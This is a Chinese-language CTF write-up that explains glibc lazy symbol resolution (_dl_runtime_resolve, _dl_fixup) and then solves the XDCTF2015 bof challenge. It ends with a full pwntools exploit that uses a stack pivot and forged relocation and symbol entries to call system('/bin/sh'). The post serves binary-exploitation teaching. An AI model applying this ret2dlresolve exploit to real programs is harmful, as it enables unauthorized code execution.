前面已经讲完了PLT和GOT表的作用,在那儿我留了一手,并没有讲清楚_dl_runtime_resolve_这个函数具体实现,还记得当时程序往栈上push了两个参数就进入_dl_runtime_resolve_了吗?不记得可以回去翻下

我们回忆一下当时那两个参数是什么,没错,一个是0,一个是0x804a004,这里先讲他们是啥,0呢,我们先理解成一个Index,而0x804a004是一个函数地址叫link_map,其实_dl_runtime_resolve_是通过link_map来找到.dynamic

而.dynamic是什么呢?我们随便拉一个程序进IDA来看,我们可以看到里面有一些结构体,其实和_dl_runtime_resolve_紧密相关的只有三个:DT_STRTAB, DT_SYMTABDT_JMPREL这三个根据地址我们可以发现它们指向了.dynstr.dynsym.rel.plt

link_map+0x8的位置就是它要找的.dynamic,接下来我们再通过.dynamic找到.dynstr.dynsym,`.rel.plt

.dynstr 的地址是 .dynamic + 0x44 -> 0x0804821c

.dynsym 的地址是 .dynamic + 0x4c -> 0x080481cc

.rel.plt 的地址是 .dynamic + 0x84 -> 0x08048298

我们看上面的IDA也是这个地址

到这里另外一个push到栈上的参数就起作用了

.rel.plt 的地址加上参数 reloc_arg,即0x8048298+0x0 = 0x8048298

这里就是重定位表项,这里也是一个结构体,将r_info>>8,即0x00000107>>8 = 1作为.dynsym中的下标

1
2
3
4
5
typedef struct
{
Elf32_Addr r_offset;//指向GOT表的指针
Elf32_Word r_info;
} Elf32_Rel;
1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; //符号名偏移,也就是相对.dynstr的偏移
Elf32_Addr st_value;//该字段为0
Elf32_Word st_size;//该字段为0
unsigned char st_info; //导入符号,图中是0x12
unsigned char st_other;//该字段为0
Elf32_Section st_shndx;//该字段为0
}Elf32_Sym;

.dynstr + st_name就是这个函数的符号名字符串

0x0804821c+0x1a = 0x8048236

IDA上的字符串表

最后在动态链接库查找这个函数的地址,并且把地址赋值给rel->r_offset,即GOT表就可以了

前面已经讲解完了_dl_runtime_resolve_函数的执行流程,下面从源码层面来解析,不关键的代码已经删除

在进入_dl_runtime_resolve_函数之后它又call _dl_fixup_

下面是_dl_fixup_的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
{
//查找dynstr的位置
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
//查找重定位表的位置,这里的reloc_offset是reloc_arg的意思
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
//查找reloc中的r_info结构体成员
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
//判断低位是否为7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
//查找dynstr表中的字符串名字
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);
//将对应的函数地址放入GOT表中
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

通过讲解_dl_runtime_resolve_函数,我们也很容易的想到利用点:

​ 1.通过控制reloc_arg来实现伪造最终获取的函数字符串

​ 2.修改.dynamic内存区域实现伪造最终获取的函数字符串

​ 3.伪造link_map的地址

用一道经典例题讲解第一种情况

XDCTF2015_bof

先看看保护,我们看到开启了Partial RELRO,所以咱修改不了.dynamic,另外还开启了NX保护,也写不了shellcode到栈上

程序的流程十分的简单,打印出Welcome to XDCTF2015~!,紧接着就是一个溢出函数

我们按照正常的思路走一遍,一般拿到栈溢出,我们首先就是看有无libc,这题没有给出,然后就是后门函数,system( )函数,/bin/sh字符串,很遗憾都没有,看到这一般都会想到ret2libc,但是当我去查看ROPgadget的时候,发现这个动态链接的文件它的gadget少的离谱,所以ret2libc这条路也走不通了,那只能没有轮子咱们造一个轮子了—-ret2dl_runtime_resovle

先通过cyclic计算一下溢出的偏移位置

从源码中也可以看出它并没有对reloc_arg参数进行边界校验,导致我们即使传进去的reloc_arg再大,它也不会报错,所以我们就传入一个大的reloc_arg,将重定位表劫持到一个我们可控的地方,比如.bss段,所以很容易就可以想到,通过栈迁移将栈迁移到.bss

根据上面的源码,我们可以知道,要构造的有3样东西.rel.plt.dynstr.dynsym

我们一步步来,先伪造.rel.plt.rel.plt有两个结构体成员,第一个是r_offset,为函数的GOT表地址,我们将其填写成writeGOT表地址,第二个是r_info,这个就比较重要了,我们先来回忆一下它是怎么被索引到的

1
2
3
.rel.plt + reloc_arg = r_offset 

r_offset + 4 = r_info

我们刚刚说到源码中没有对reloc_arg参数进行边界校验,那我们就可以伪造r_offsetr_info到一个我们可控的地方

1
2
3
.rel.plt + fake_arg = fake_r_offset 

fake_r_offset + 4 = fake_r_info

代码如下,我们先不关注(fake_sym_addr - dynsym)/16是什么我们先留个印象,这里为什么要加上7呢?因为要绕过这个assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

1
2
3
relo_offset = elf.got['write']

relo_info = (((fake_sym_addr - dynsym)/16) << 8) + 0x7

接下来就是.dynsym,它怎么索引到.dynsym的呢,是不是relo_info >> 8 作为.dynsym中的下标,所以我们要在relo_info上做手脚,通过(fake_sym_addr - dynsym)/16来让它索引到fake_dynsym,除于16是因为一个Elf32_Sym大小是16字节,这里还要注意的是要进行对齐!!!

代码如下:

1
2
3
fake_sym_addr = bss_addr + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align

最后就是.dynstr了,这个就很简单了,只需要构造st_name让他找到我们伪造的字符串,它原来是通过.dynstr + st_name来索引的:

1
2
3
.dynstr + st_name = func_str

.dynstr + fake_st_name = fake_func_str

代码:

1
2
3
fake_str_addr = fake_sym_addr + 16

fake_name = fake_str_addr - strtab

完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95

from pwn import *

context.log_level = 'debug'
elf = ELF('bof')
#libc = ELF('libc-2.27.so')
local = 1
binary = 'bof'
port = '26743'

if local == 1:
io = process(binary)
else:
io = remote("node3.buuoj.cn",port)

cmd = "/bin/sh"
read_plt = elf.plt['read']
stack_size = 0x800
bss_addr = 0x0804a040 + stack_size
print(hex(bss_addr))
pop_ebp_ret = 0x804861b
leave_ret = 0x8048458
link_map = 0x8048380
dynsym = 0x80481d8
strtab = 0x08048278
rel_plt = 0x8048330
pop_esi_pop_edi_pop_ebp_ret = 0x08048619
#align = 0x10 - ((bss_addr + 36 - dynsym) % 16)


io.recvuntil("Welcome to XDCTF2015~!\n")
payload = 'a'*112
payload += p32(read_plt)
payload += p32(pop_esi_pop_edi_pop_ebp_ret)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(100)
payload += p32(pop_ebp_ret)
payload += p32(bss_addr)
payload += p32(leave_ret)

io.sendline(payload)


#arge
fake_relo_addr = bss_addr + 28
fake_arge = fake_relo_addr - rel_plt

#sym
fake_sym_addr = bss_addr + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align

#relo
relo_offset = elf.got['write']
relo_info = (((fake_sym_addr - dynsym)/16) << 8)+0x7
print("relo " + hex(relo_info))

#str
fake_str_addr = fake_sym_addr + 16
fake_name = fake_str_addr - strtab
bin_sh_addr = bss_addr + 80


payload = p32(0)
payload += p32(link_map)
payload += p32(fake_arge)
payload += "AAAA"
payload += p32(bin_sh_addr)

payload += 'aaaa'
payload += 'aaaa'

payload += p32(relo_offset)
payload += p32(relo_info)

payload += p32(0)

payload += p32(fake_name)
payload += p32(0)
payload += p32(0)
payload += p32(0x12)

payload += "system\x00"

payload += 'A' * (80 - len(payload))
payload += cmd + '\x00'
payload += 'A' * (100 - len(payload))
#payload += "/bin/sh\x00\x00"


io.sendline(payload)
#gdb.attach(io)

io.interactive()